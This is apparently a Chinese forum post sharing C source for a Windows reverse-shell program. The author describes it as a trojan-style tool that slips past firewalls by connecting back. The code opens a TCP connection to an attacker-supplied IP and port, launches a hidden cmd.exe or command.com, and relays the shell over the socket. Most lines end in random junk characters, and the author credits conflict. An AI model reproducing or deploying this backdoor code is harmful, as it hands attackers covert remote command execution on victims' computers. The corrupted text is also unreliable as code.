这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'JsP9>)
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/* ============================== 6D_3Hwrs
Rebound port in Windows NT g""1f%U_p
By wind,2006/7 5`53lK.C
===============================*/ f
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#include +!\$SOaR{
#include HFu#-}iNV
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#pragma comment(lib,"wsock32.lib") 5 6;lB$)"
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void OutputShell(); .uG|Vq1v
SOCKET sClient; eGwrSF#a)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y#!8S{
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void main(int argc,char **argv) qn}4PVn4
{ x9)^0Hbo
WSADATA stWsaData; ^
ry
int nRet; 2fM*6CaS
SOCKADDR_IN stSaiClient,stSaiServer; h W\q
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if(argc != 3) 5TqB&GP0
{ 7SO i9JU_
printf("Useage:\n\rRebound DestIP DestPort\n"); NI_.wB{
return; l ?RsXC
} 2{:bv~*I0F
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WSAStartup(MAKEWORD(2,2),&stWsaData); }wJ-*By{+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oh
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stSaiClient.sin_family = AF_INET; <\l@`x96"D
stSaiClient.sin_port = htons(0); (!`TO{ !6P
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?.Z4GWyXa
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rvrv[^a(
{ 4d~Sn81xW
printf("Bind Socket Failed!\n"); C\#E1\d
return; ]w ^9qS
} w ryjs!
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stSaiServer.sin_family = AF_INET; AG/?LPJ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M_asf7|v
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^UTQcm
{ Z<+Ipj&
printf("Connect Error!"); +
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return; 8Ac5K!
} >~C*m `#
OutputShell(); q {v?2v{
} *Xm$w
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void OutputShell() B"sQ\gb%Q
{ a?&{eMEe}
char szBuff[1024]; HAa$pGb
SECURITY_ATTRIBUTES stSecurityAttributes; lU6?p")F1
OSVERSIONINFO stOsversionInfo; UOh%"h
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gG5@ KD6k
STARTUPINFO stStartupInfo; c~j")o
char *szShell; ]!l]^/.
PROCESS_INFORMATION stProcessInformation; Z:51Q
unsigned long lBytesRead; zl~`>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v(PwE B]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +"8AmN4
stSecurityAttributes.lpSecurityDescriptor = 0; }\+7*|
stSecurityAttributes.bInheritHandle = TRUE; B[2 qI7D$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e}V3dC^pU
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZV :cgv
! 2]eVO
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7Q_AZR4
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~CTe5PX c
stStartupInfo.wShowWindow = SW_HIDE; 7;]n+QRfm
stStartupInfo.hStdInput = hReadPipe; .aJ\^Fx
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mBb;:-5
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GetVersionEx(&stOsversionInfo); G.#`DaP
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switch(stOsversionInfo.dwPlatformId) }V@ *
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{ f9R~RRz
case 1: ~96fyk|
szShell = "command.com"; 0f"9wPC
break; m*'^*#
default: TgFj-"L\
szShell = "cmd.exe"; 5X8GR5P
break; }cl~Vo-mp
} 6I5,PB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w]<a$C8*y:
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send(sClient,szMsg,77,0); R8Kj3wp
while(1) 16;r+.FB'
{ -> $]`h"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !|\$|m<n
if(lBytesRead) ]VuB2L[D
{ osBwX.G'l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YU*u!
send(sClient,szBuff,lBytesRead,0); UG@9X/l}
} _zuaImJ0o
else 8mrB_B5
{ G=1&:nW'
lBytesRead=recv(sClient,szBuff,1024,0); D9hV`fA
if(lBytesRead<=0) break; E ISgc {s
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u
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} [2WJ];FJ
} TnuNoMD.
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return; D90.z"N\i9
}